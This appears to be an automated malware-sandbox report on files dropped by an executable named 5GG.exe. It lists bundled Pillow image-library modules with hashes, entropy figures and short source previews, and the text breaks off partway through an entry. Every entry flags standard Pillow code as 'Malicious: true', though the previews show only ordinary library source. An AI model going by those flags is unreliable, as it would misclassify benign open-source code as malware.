Category:	dropped
Size (bytes):	5942
Entropy (8bit):	4.798802337271341
Encrypted:	false
SSDEEP:	96:RjGt/XTAi4FNQay1LSLlJ+gL+zEl8g/21eeccawEiOqp62tO30X6zEn0DiQpS+Oo:Y0HKSbdLsg/eexP7qvYkQuV8vOwPgUSm
MD5:	25120001F3F53FBA0465B8F16EDF678D
SHA1:	5BF92718DCE38751EBDD5A9DA1B2E979BD600664
SHA-256:	9222039DD2A8C9F54AADB886F3D41AB2619A3EC3D6440E009D02DA53D99F46E3
SHA-512:	36FE4C5EE8979561BDAF08D18C3EB7422B2B72E5C52B947D67D6FBAD6E48792DA65351BE3129E7633DC11718BBE09B457DE3172CB571B6948F6EB26D6185DA68
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# a simple Qt image interface...#..# history:..# 2006-06-03 fl: created..# 2006-06-04 fl: inherit from QImage instead of wrapping it..# 2006-06-05 fl: removed toimage helper; move string support to ImageQt..# 2013-11-13 fl: add support for Qt5 (aurelien.ballier@cyclonit.com)..#..# Copyright (c) 2006 by Secret Labs AB..# Copyright (c) 2006 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import sys..from io import BytesIO....from . import Image..from ._util import is_path....qt_versions = [.. ["6", "PyQt6"],.. ["side6", "PySide6"],..]....# If a version has already been imported, attempt it first..qt_versions.sort(key=lambda qt_version: qt_version[1] in sys.modules, reverse=True)..for qt_version, qt_module in qt_versions:.. try:.. if qt_module == "PyQt6":.. from PyQt6.QtCore import QBuffer, QIODevice.. from PyQt6.QtGui import

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageSequence.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	4.573251327719749
Encrypted:	false
SSDEEP:	48:RqK5AbkqRjNGk61NFRSz8XJ7r4FE7UVuBwIu6ew4mVDLPwC/hhb74:Rj5GZNGk61NFw8XOFHVuBlup45l4
MD5:	00FF70F6B5710A5B1AD63D2CB33B6B47
SHA1:	056C0B323BB9EC9A8CD4C117A6E0F4B59D73DBDC
SHA-256:	8F2554EC59A99ABBE40404AC64837E7C8DB583D0D4702CE64A68F41714B81678
SHA-512:	9245C9B90F99A4ED6A42260B7E0427DFCB4B2C535A543FD274D2B8A44B64F9B4FD4F8C2CED051A23E49D55C69EAB823055F555111D680B7AE5E6B03D2189EEE1
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# sequence support classes..#..# history:..# 1997-02-20 fl Created..#..# Copyright (c) 1997 by Secret Labs AB...# Copyright (c) 1997 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#....##..from __future__ import annotations....from typing import Callable....from . import Image......class Iterator:.. """.. This class implements an iterator object that can be used to loop.. over an image sequence..... You can use the ``[]`` operator to access elements by index. This operator.. will raise an :py:exc:`IndexError` if you try to access a nonexistent.. frame..... :param im: An image object... """.... def __init__(self, im: Image.Image):.. if not hasattr(im, "seek"):.. msg = "im must have seek method".. raise AttributeError(msg).. self.im = im.. self.position = getattr(self.im, "_min_frame", 0).... def __getitem__(self, ix: int) ->

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageShow.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8718
Entropy (8bit):	4.679774952198449
Encrypted:	false
SSDEEP:	192:UYKBazg36BssF/yWKXk/KxY/pVRp/MGKDrp8ZyIKON/kFI:UYzssnKXk/KkVR6GKDrK
MD5:	FBCE0CBC587965E34FA01A4E45154F3E
SHA1:	E617FE4C5465A6B184F9627391BEE31E9CED6487
SHA-256:	37C4C711FC54D8BE4081CB412E20E41C7146F28582D9979C7C320CAFD9FC5855
SHA-512:	A9F88B9EBC7BF547E5DC0E2373370874221C1FF74994D34C2B253EF615905EAF5A89CBF9B655F1650A7F2DD03A1CBE8F2828A5EEEA94964FF3305984CF70C193
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# im.show() drivers..#..# History:..# 2008-04-06 fl Created..#..# Copyright (c) Secret Labs AB 2008...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os..import shutil..import subprocess..import sys..from shlex import quote....from . import Image...._viewers = []......def register(viewer, order=1):.. """.. The :py:func:`register` function is used to register additional viewers::.... from PIL import ImageShow.. ImageShow.register(MyViewer()) # MyViewer will be used as a last resort.. ImageShow.register(MySecondViewer(), 0) # MySecondViewer will be prioritised.. ImageShow.register(ImageShow.XVViewer(), 0) # XVViewer will be prioritised.... :param viewer: The viewer to be registered... :param order:.. Zero or a negative integer to prepend this viewer to the list,.. a positive integer to append it... """.. try:.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageStat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3853
Entropy (8bit):	4.4492868082477965
Encrypted:	false
SSDEEP:	48:RqKxemUqVEEkOjOMY8rjbkQR4lzuanC/rn2t45u6fAbf4s+3ZUVAffNB8JsRWjxo:Rjs3S5r7GlURKQpUVQ6lNy
MD5:	19C4C33D52F83304CB6F0CB44E9901A8
SHA1:	4BA56F85527DA61C9CE945710FC02E9CCA6F5D10
SHA-256:	967CC458C6C59B106EFA4B9654268E6514FFA87F8024145513438BDEDA1083E3
SHA-512:	FED13A25803E725F87C794E3608E19185D519CAA746E428F030DE7C98248D253E37A6D417856D8626C04D5B7094BEA2D3F1909FCCDF4846541878C1CEA7002D3
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# global image statistics..#..# History:..# 1996-04-05 fl Created..# 1997-05-21 fl Added mask; added rms, var, stddev attributes..# 1997-08-05 fl Added median..# 1998-07-05 hk Fixed integer overflow error..#..# Notes:..# This class shows how to implement delayed evaluation of attributes...# To get a certain value, simply access the corresponding attribute...# The __getattr__ dispatcher takes care of the rest...#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996-97...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import math......class Stat:.. def __init__(self, image_or_list, mask=None):.. try:.. if mask:.. self.h = image_or_list.histogram(mask).. else:.. self.h = image_or_list.histogram().. except AttributeError:.. self.h = image_or_list # assume it to be a histogra

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageTk.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8780
Entropy (8bit):	4.5761428747768385
Encrypted:	false
SSDEEP:	96:RjQAiDiONHgOuTuFgRuwO0yEpVxhjGPYePE6Mo3RNkjUkxmKRwIwq6Mo3XNkUphU:CBhgRsHEPmOoBNkVAKGlqjonNkMqL
MD5:	B758F29AED73CEEC4BB92C40D04B043A
SHA1:	224FA8C17D35BA2BBE8A7560431702638827ADA5
SHA-256:	B45BCD5B63477FCE132ABEE6C44D3F6E8B24FC8528DC8EC8C3A3E3BCD40CC98E
SHA-512:	94ED72EB9E48A422496733FD564CC0D2C185782CB4675A6953589970C7FD5EC67C089F9B6753DF0399F09D40FE8A6CB0B3FE43B17E31C348019FF710E33D2024
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# a Tk display interface..#..# History:..# 96-04-08 fl Created..# 96-09-06 fl Added getimage method..# 96-11-01 fl Rewritten, removed image attribute and crop method..# 97-05-09 fl Use PyImagingPaste method instead of image type..# 97-05-12 fl Minor tweaks to match the IFUNC95 interface..# 97-05-17 fl Support the "pilbitmap" booster patch..# 97-06-05 fl Added file= and data= argument to image constructors..# 98-03-09 fl Added width and height methods to Image classes..# 98-07-02 fl Use default mode for "P" images without palette attribute..# 98-07-02 fl Explicitly destroy Tkinter image objects..# 99-07-24 fl Support multiple Tk interpreters (from Greg Couch)..# 99-07-26 fl Automatically hook into Tkinter (if possible)..# 99-08-15 fl Hook uses _imagingtk instead of _imaging..#..# Copyright (c) 1997-1999 by Secret Labs AB..# Copyright (c) 1996-1997 by Fredrik Lundh..#..# See the README file for information on usage an

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageTransform.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3276
Entropy (8bit):	4.7644238145593905
Encrypted:	false
SSDEEP:	48:RqKi8KbkQRjUADWc1qpgdT9d/RWZ/hXq5tU09oMxVRW4O0+uRWW8kbf/EdRF3:Rj3OZUADWc1qpfa5e093RO0+qZf8h3
MD5:	B003C57C0CCD03C344988A8B29580C1C
SHA1:	1276C936FA36355DB04747F2C414EA1E47072F89
SHA-256:	AD3EE6450F451A5698193F41F6AD00D061C56AC26BF0A19FF49834C5C57D2D8D
SHA-512:	6A0967EF84B9A449214DF2283C7BEE8F430DE9324E9E74187C5CC7F74A6135321E3405E5AA68C5BEE41A468FEC5BA46D368830479B3D2ABA55F969CD544D9846
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# transform wrappers..#..# History:..# 2002-04-08 fl Created..#..# Copyright (c) 2002 by Secret Labs AB..# Copyright (c) 2002 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from typing import Sequence....from . import Image......class Transform(Image.ImageTransformHandler):.. method: Image.Transform.... def __init__(self, data: Sequence[int]) -> None:.. self.data = data.... def getdata(self) -> tuple[int, Sequence[int]]:.. return self.method, self.data.... def transform(.. self,.. size: tuple[int, int],.. image: Image.Image,.. options: dict[str, str \| int \| tuple[int, ...] \| list[int]],.. ) -> Image.Image:.. # can be overridden.. method, data = self.getdata().. return image.transform(size, method, data, options)......class AffineTransform(Transform):.. """.. Define an aff

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageWin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7457
Entropy (8bit):	4.517861981387666
Encrypted:	false
SSDEEP:	96:Rj1h+ZCYJIsxYJ1olidnUIqLr2d5750zVG3K7D2+3NQ/6qKhHl4Y2+3UQ/6SMHsj:OMdQbR1lpMHsCiz0DCm0yoKG
MD5:	2BE77161A3E41CA536C7DA5169311EDC
SHA1:	93C1EC8F2C47AE9990174EE7A2B312764F9977EC
SHA-256:	AD86538AFDDA86BCF67F9D9D19E64F3045A427CAE2893D24721154E5FECE555D
SHA-512:	6F418280FD561114159BCC8D8F80CBB5585A8692A9D28B920C6290D845AD85D74551587FF126D96FABF6CE78970ED80AD6116E25529CF67D20ACE4CAC36A7470
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# a Windows DIB display interface..#..# History:..# 1996-05-20 fl Created..# 1996-09-20 fl Fixed subregion exposure..# 1997-09-21 fl Added draw primitive (for tzPrint)..# 2003-05-21 fl Added experimental Window/ImageWindow classes..# 2003-09-05 fl Added fromstring/tostring methods..#..# Copyright (c) Secret Labs AB 1997-2003...# Copyright (c) Fredrik Lundh 1996-2003...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image......class HDC:.. """.. Wraps an HDC integer. The resulting object can be passed to the.. :py:meth:`~PIL.ImageWin.Dib.draw` and :py:meth:`~PIL.ImageWin.Dib.expose`.. methods... """.... def __init__(self, dc):.. self.dc = dc.... def __int__(self):.. return self.dc......class HWND:.. """.. Wraps an HWND integer. The resulting object can be passed to the.. :py:meth:`~PIL.ImageWin.Dib.draw` and :py:

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImtImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2715
Entropy (8bit):	4.213774963408037
Encrypted:	false
SSDEEP:	48:RqK0XN2bkQRHPVfLxdmz/e9EzSfDXf8/ldpkI9k9wO9x:Rj09q9Nx+/e9vfU9Xk9wO9x
MD5:	311BBEA829E8E2F98F83CA70D42033C0
SHA1:	84B76F927F8326DD435B6211803138D9522678EB
SHA-256:	9BFA818392E166330595017843BC4E6EDB95109F3AABA2D9768E2B6F6698148B
SHA-512:	381B6E58039D605D6EB2F17401BB19DEDB7FEC49A23F93AB762309852B1831F93E7644E136D98A56A22ABADA397E85A63F0B79F480A2D74115732F50B8D666C5
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# IM Tools support for PIL..#..# history:..# 1996-05-27 fl Created (read 8-bit images only)..# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.2)..#..# Copyright (c) Secret Labs AB 1997-2001...# Copyright (c) Fredrik Lundh 1996-2001...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import re....from . import Image, ImageFile....#..# --------------------------------------------------------------------....field = re.compile(rb"([a-z]) ([^ \r\n])")......##..# Image plugin for IM Tools images.......class ImtImageFile(ImageFile.ImageFile):.. format = "IMT".. format_description = "IM Tools".... def _open(self):.. # Quick rejection: if there's not a LF among the first.. # 100 bytes, this is (probably) not a text header..... buffer = self.fp.read(100).. if b"\n" not in buffer:.. msg = "not an IM file".. raise Syn

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\IptcImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6370
Entropy (8bit):	4.656705401112179
Encrypted:	false
SSDEEP:	96:RjKT2ZOUtCDUlPhC7GW2ZEfPNRG/PYCuIJFN4OhwMqvzSfjmne95ODwggwrXEbHR:EgPhTW6CNRkYCu8NbhavmkkMgbH5H/f
MD5:	FCDD0185EEDE7FBB05324F9E01FFF2AF
SHA1:	EDC9FC3572D19B212AD719DE11AFCC126CE0A642
SHA-256:	6BB9D0E559191D482B476D95529D80098AD53354533DC9396B712AB291200F3C
SHA-512:	D145B1C08A1891F53774C2F87C07231C4A460B91B1B0EACF319B47553B715633AFA50A1E3E34FD2825D225AFAE3E61D9BB2EA38C3D1B7C06375A4C9B6A2694DA
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# IPTC/NAA file handling..#..# history:..# 1995-10-01 fl Created..# 1998-03-09 fl Cleaned up and added to PIL..# 2002-06-18 fl Added getiptcinfo helper..#..# Copyright (c) Secret Labs AB 1997-2002...# Copyright (c) Fredrik Lundh 1995...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from io import BytesIO..from typing import Sequence....from . import Image, ImageFile..from ._binary import i16be as i16..from ._binary import i32be as i32..from ._deprecate import deprecate....COMPRESSION = {1: "raw", 5: "jpeg"}......def __getattr__(name: str) -> bytes:.. if name == "PAD":.. deprecate("IptcImagePlugin.PAD", 12).. return b"\0\0\0\0".. msg = f"module '{__name__}' has no attribute '{name}'".. raise AttributeError(msg)......#..# Helpers......def _i(c: bytes) -> int:.. return i32((b"\0\0\0\0" + c)[-4:])......def _i8(c: int \| bytes) -> int:.. return c if

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\Jpeg2KImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11971
Entropy (8bit):	4.588455330064531
Encrypted:	false
SSDEEP:	192:vEuwOyERvWkSyFstheKPl2G09tECFJj0iY9BWLSC9df:vJWkTanzPl219D
MD5:	08A586953AB51A8C50CF942E3C8F6011
SHA1:	80406E5285E84F6DF9761139DDFACC45F66CDDAF
SHA-256:	7070C1086492EC96BF488C3D2E95A0DE7B248CAD9A200647DD2CB391B559CEBD
SHA-512:	4160ADEA9EB593DFB8502CE3224E4743FB54437593C67786E067762315A9C0738211350A30BB3B02454386C225F0F2207395BEAD62A06BC5533055BCB8E039ED
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# JPEG2000 file handling..#..# History:..# 2014-03-12 ajh Created..# 2021-06-30 rogermb Extract dpi information from the 'resc' header box..#..# Copyright (c) 2014 Coriolis Systems Limited..# Copyright (c) 2014 Alastair Houghton..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..import os..import struct....from . import Image, ImageFile, _binary......class BoxReader:.. """.. A small helper class to read fields stored in JPEG2000 header boxes.. and to easily step into and read sub-boxes... """.... def __init__(self, fp, length=-1):.. self.fp = fp.. self.has_length = length >= 0.. self.length = length.. self.remaining_in_box = -1.... def _can_read(self, num_bytes):.. if self.has_length and self.fp.tell() + num_bytes > self.length:.. # Outside box: ensure we don't read past the known file length..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\JpegImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	30446
Entropy (8bit):	4.769998281316966
Encrypted:	false
SSDEEP:	384:Tr+lM7gDyM2j/XGZSAU4bunLUNJ46glNP+skbuMmLSTC/nBerJsF:T57gDyHj/L4buYr2P+skbu96SCsF
MD5:	94E25F53D9CCDD0BEE0A69110B6F1C51
SHA1:	A22E84B08447CEE1D88975FC5165F9E9C639F1EE
SHA-256:	04AA475A412B36F299782CA617DE4EB3EA000162262CB06808A9AD0F431F7D4B
SHA-512:	4385AD006C48D35E275265F027876B28F400C416C18D76FDE11A70D9FBE75E0473BAE95ABB1FF57105192D35E99ECA6746CE5351D426FECD5C2A62F3FFC6E802
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# JPEG (JFIF) file handling..#..# See "Digital Compression and Coding of Continuous-Tone Still Images,..# Part 1, Requirements and Guidelines" (CCITT T.81 / ISO 10918-1)..#..# History:..# 1995-09-09 fl Created..# 1995-09-13 fl Added full parser..# 1996-03-25 fl Added hack to use the IJG command line utilities..# 1996-05-05 fl Workaround Photoshop 2.5 CMYK polarity bug..# 1996-05-28 fl Added draft support, JFIF version (0.1)..# 1996-12-30 fl Added encoder options, added progression property (0.2)..# 1997-08-27 fl Save mode 1 images as BW (0.3)..# 1998-07-12 fl Added YCbCr to draft and save methods (0.4)..# 1998-10-19 fl Don't hang on files using 16-bit DQT's (0.4.1)..# 2001-04-16 fl Extract DPI settings from JFIF files (0.4.2)..# 2002-07-01 fl Skip pad bytes before markers; identify Exif files (0.4.3)..# 2003-04-25 fl Added experimental EXIF decoder (0.5)..# 2003-06-06 fl Added experimental EXIF GPSinfo decoder..# 20

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\JpegPresets.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12619
Entropy (8bit):	3.1561778853615214
Encrypted:	false
SSDEEP:	96:K8YqNDWQYpR5PWMgvU86dPZP9hyMwx02gjDQyvaQPYDkDaMS4izTkUkjDQyh/:hP+pF26dZXXwx0k2aQcvXkUps/
MD5:	374F99F977DF90C07E86F3CFC6DEFEA7
SHA1:	E6AC9BE7CD4E02624E3FB62EA9A32A8353FF226B
SHA-256:	828314F29508BA6A96DBBCBB3847EBE4005066C289E31DE91EFB7BCD031D47E5
SHA-512:	1A2E319835FEA7B846DD7489FDF99386B66293E847011F1AF8C903044BF4BF7363A5CC0D007E0786769298B78D009D2759BF02E4E47798FDD64A2DB4A704E203
Malicious:	true
Preview:	"""..JPEG quality settings equivalent to the Photoshop settings...Can be used when saving JPEG files.....The following presets are available by default:..``web_low``, ``web_medium``, ``web_high``, ``web_very_high``, ``web_maximum``,..``low``, ``medium``, ``high``, ``maximum``...More presets can be added to the :py:data:`presets` dict if needed.....To apply the preset, specify::.... quality="preset_name"....To apply only the quantization table::.... qtables="preset_name"....To apply only the subsampling setting::.... subsampling="preset_name"....Example::.... im.save("image_name.jpg", quality="web_high")....Subsampling..-----------....Subsampling is the practice of encoding images by implementing less resolution..for chroma information than for luma information...(ref.: https://en.wikipedia.org/wiki/Chroma_subsampling)....Possible subsampling values are 0, 1 and 2 that correspond to 4:4:4, 4:2:2 and..4:2:0.....You can get the subsampling of a JPEG with the..:func:`.JpegImagePlugin.g

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\McIdasImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	4.873093346784417
Encrypted:	false
SSDEEP:	48:RqKjpw12p/bkQR/PIeFskklN0X0pm6QH4Tqwl4t7:Rjjpo2p3NQeFssX0FQSqwlG7
MD5:	A170151CEE95A62FE7DB913F90E63125
SHA1:	7874BE027C7BAE53C4BDB793FD8D8D6010095F66
SHA-256:	41A775FD3E174407202E84D2827F8B0875176781DCA6AC3B1E28C7DEF76DA4A0
SHA-512:	DA6C6E5B4B6C5C1FE84897A692683BD7FF13E5431CD160171C23DC081BAEA9A1F3FB8F7F362928163BABB56071194D3B489E79832994C52D16F2BB60618374A1
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# Basic McIdas support for PIL..#..# History:..# 1997-05-05 fl Created (8-bit images only)..# 2009-03-08 fl Added 16/32-bit support...#..# Thanks to Richard user and Craig Swank for specs and samples...#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import struct....from . import Image, ImageFile......def _accept(s):.. return s[:8] == b"\x00\x00\x00\x00\x00\x00\x00\x04"......##..# Image plugin for McIdas area images.......class McIdasImageFile(ImageFile.ImageFile):.. format = "MCIDAS".. format_description = "McIdas area file".... def _open(self):.. # parse area file directory.. s = self.fp.read(256).. if not _accept(s) or len(s) != 256:.. msg = "not an McIdas area file".. raise SyntaxError(msg).... self.area_descriptor_raw = s.. se

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\MicImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2722
Entropy (8bit):	4.6390887364247995
Encrypted:	false
SSDEEP:	48:RqKf3jZ8/bkQRivp6qfQiTarq43g/x0540ws1xkq/DMA+LZVGLXw3stpw2i:RjfzZ83ovp1QiTMR3yxA4TI7c1iw3Cp2
MD5:	0EE9277C7D1725D607090D5C53D4F85C
SHA1:	12C6380F80641BACF688EFFF394EC3E84A5B151C
SHA-256:	29FC703F0E1C7E7E6ACCA2F18EB4AA927B401AB24D8D70459B058B5E631AB614
SHA-512:	F37FA4A471806939272BF3552FB602CB0610D23CF9AD5B64F1775D7589A2E8753E31B70C32FFEE49602D194A535641DD26586A4D15BF10BF5CA5E503F75678B2
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# Microsoft Image Composer support for PIL..#..# Notes:..# uses TiffImagePlugin.py to read the actual image streams..#..# History:..# 97-01-20 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import olefile....from . import Image, TiffImagePlugin....#..# --------------------------------------------------------------------......def _accept(prefix):.. return prefix[:8] == olefile.MAGIC......##..# Image plugin for Microsoft's Image Composer file format.......class MicImageFile(TiffImagePlugin.TiffImageFile):.. format = "MIC".. format_description = "Microsoft Image Composer".. _close_exclusive_fp_after_loading = False.... def _open(self):.. # read the OLE directory and see if this is a likely.. # to be a Microsoft Image Composer file.... try:..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\MpegImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1940
Entropy (8bit):	4.720880071992024
Encrypted:	false
SSDEEP:	48:RqKsgS9JbkQRjP1/l0NVpLbnhhMNThNth7GPD1N/aOqwlRw7mwNi:RjM9pZt/lsXnhhMhhNu8wlRw7mwNi
MD5:	DCA70147B31E452978D93898A0BB6C4D
SHA1:	1005BCD7CB407E25C18C2A58D61684DCB7053A3A
SHA-256:	A794B2140C83FCA7B16D646BBE54A1ABB20495890FA7793A7A4C05C20C889C3D
SHA-512:	13F42553E5C3943D4E4B71237658DD31F88A16E76E6D141625817140E1EFD620460BB10B28BF38998C4223CB55EB05B679E81D992AB6E4CCFBBC1CCBFB0C6288
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# MPEG file handling..#..# History:..# 95-09-09 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1995...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile..from ._binary import i8....#..# Bitstream parser......class BitStream:.. def __init__(self, fp):.. self.fp = fp.. self.bits = 0.. self.bitbuffer = 0.... def next(self):.. return i8(self.fp.read(1)).... def peek(self, bits):.. while self.bits < bits:.. c = self.next().. if c < 0:.. self.bits = 0.. continue.. self.bitbuffer = (self.bitbuffer << 8) + c.. self.bits += 8.. return self.bitbuffer >> (self.bits - bits) & (1 << bits) - 1.... def skip(self, bits):.. while self.bits < bits:.. self.bitbuffer = (self.bitbuff

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\MpoImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6450
Entropy (8bit):	4.693786113443814
Encrypted:	false
SSDEEP:	96:RjHelM2MbTCDTQMDmmXbNI2z9LGLOqneoaM4qOVLzL+8AIFXw2XCwjKwXtwnTw+r:NrshXbqI9LGLzHa68AVqTa08
MD5:	5BA3C0A918BA474ED8AF317B16739C44
SHA1:	08898973A052EAA126604AA44D25DAEE358EEE28
SHA-256:	C08F855C18693830C263F588C507259C1BAF4821B51DED7B0CB55F3D13487CF1
SHA-512:	9DCEB3DCE6C0C0CAC7352655F8EB5511D8C21316825A5BC22E6C26BBC0C6C93EA80F0D64F8087CF1878D0D3E231C5B9F62D2BBFE2946474056DB62580D07ABBC
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# MPO file handling..#..# See "Multi-Picture Format" (CIPA DC-007-Translation 2009, Standard of the..# Camera & Imaging Products Association)..#..# The multi-picture object combines multiple JPEG images (with a modified EXIF..# data format) into a single file. While it can theoretically be used much like..# a GIF animation, it is commonly used to represent 3D photographs and is (as..# of this writing) the most commonly used format by 3D cameras...#..# History:..# 2014-03-13 Feneric Created..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import itertools..import os..import struct....from . import (.. ExifTags,.. Image,.. ImageFile,.. ImageSequence,.. JpegImagePlugin,.. TiffImagePlugin,..)..from ._binary import i16be as i16..from ._binary import o32le......def _save(im, fp, filename):.. JpegImagePlugin._save(im, fp, filename)......def _save_all(im, fp, file

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\MspImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5843
Entropy (8bit):	4.685633361538071
Encrypted:	false
SSDEEP:	96:RYcDWd1PzteZpa7W5x+lu0wOUPv2abJR8xND8MfI8hKY9hO9FdCwb0byWnYqwU3o:ifSH5SLUP3tK/gMw8B9Kd/s2AXQl
MD5:	F8423887E914FD53868C63B62196F6DD
SHA1:	D7DB8C0E51FBE804F3369B76AE1CFC9A3909B7C7
SHA-256:	EA3DD2DA7F028C9B6C392ECFFCCEF45755432BF3EAC681488F7BA5CC4C096FBC
SHA-512:	96F9B1E898B404FF50C0401A25533B277BFEE9A216F0E6F0E24BD140C7538C6A1E312BC9278D91683346BFB3A18FFEF90325FD0487AEBA9140A535DADE7257BA
Malicious:	true
Preview:	#..# The Python Imaging Library...#..# MSP file handling..#..# This is the format used by the Paint program in Windows 1 and 2...#..# History:..# 95-09-05 fl Created..# 97-01-03 fl Read/write MSP images..# 17-02-21 es Fixed RLE interpretation..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1995-97...# Copyright (c) Eric Soroos 2017...#..# See the README file for information on usage and redistribution...#..# More info on this format: https://archive.org/details/gg243631..# Page 313:..# Figure 205. Windows Paint Version 1: "DanM" Format..# Figure 206. Windows Paint Version 2: "LinS" Format. Used in Windows V2.03..#..# See also: https://www.fileformat.info/format/mspaint/egff.htm..from __future__ import annotations....import io..import struct....from . import Image, ImageFile..from ._binary import i16le as i16..from ._binary import o16le as o16....#..# read MSP files......def _accept(prefix):.. return prefix[:4] in [b"DanM", b"LinS

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PSDraw.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6790
Entropy (8bit):	4.79477957968339
Encrypted:	false
SSDEEP:	96:RxEOwb4iTAS8bZAx3tYZZ1XGq6H0njVMwk+l2mZQ0iK88/5lxv/B:fmAPiK/GqUSQ0HPTvp
MD5:	85AADD99BFF8CACFE7ACC81DDF8A3783
SHA1:	93F7607C1AB44B0B008853127D89ABCEF05506B9
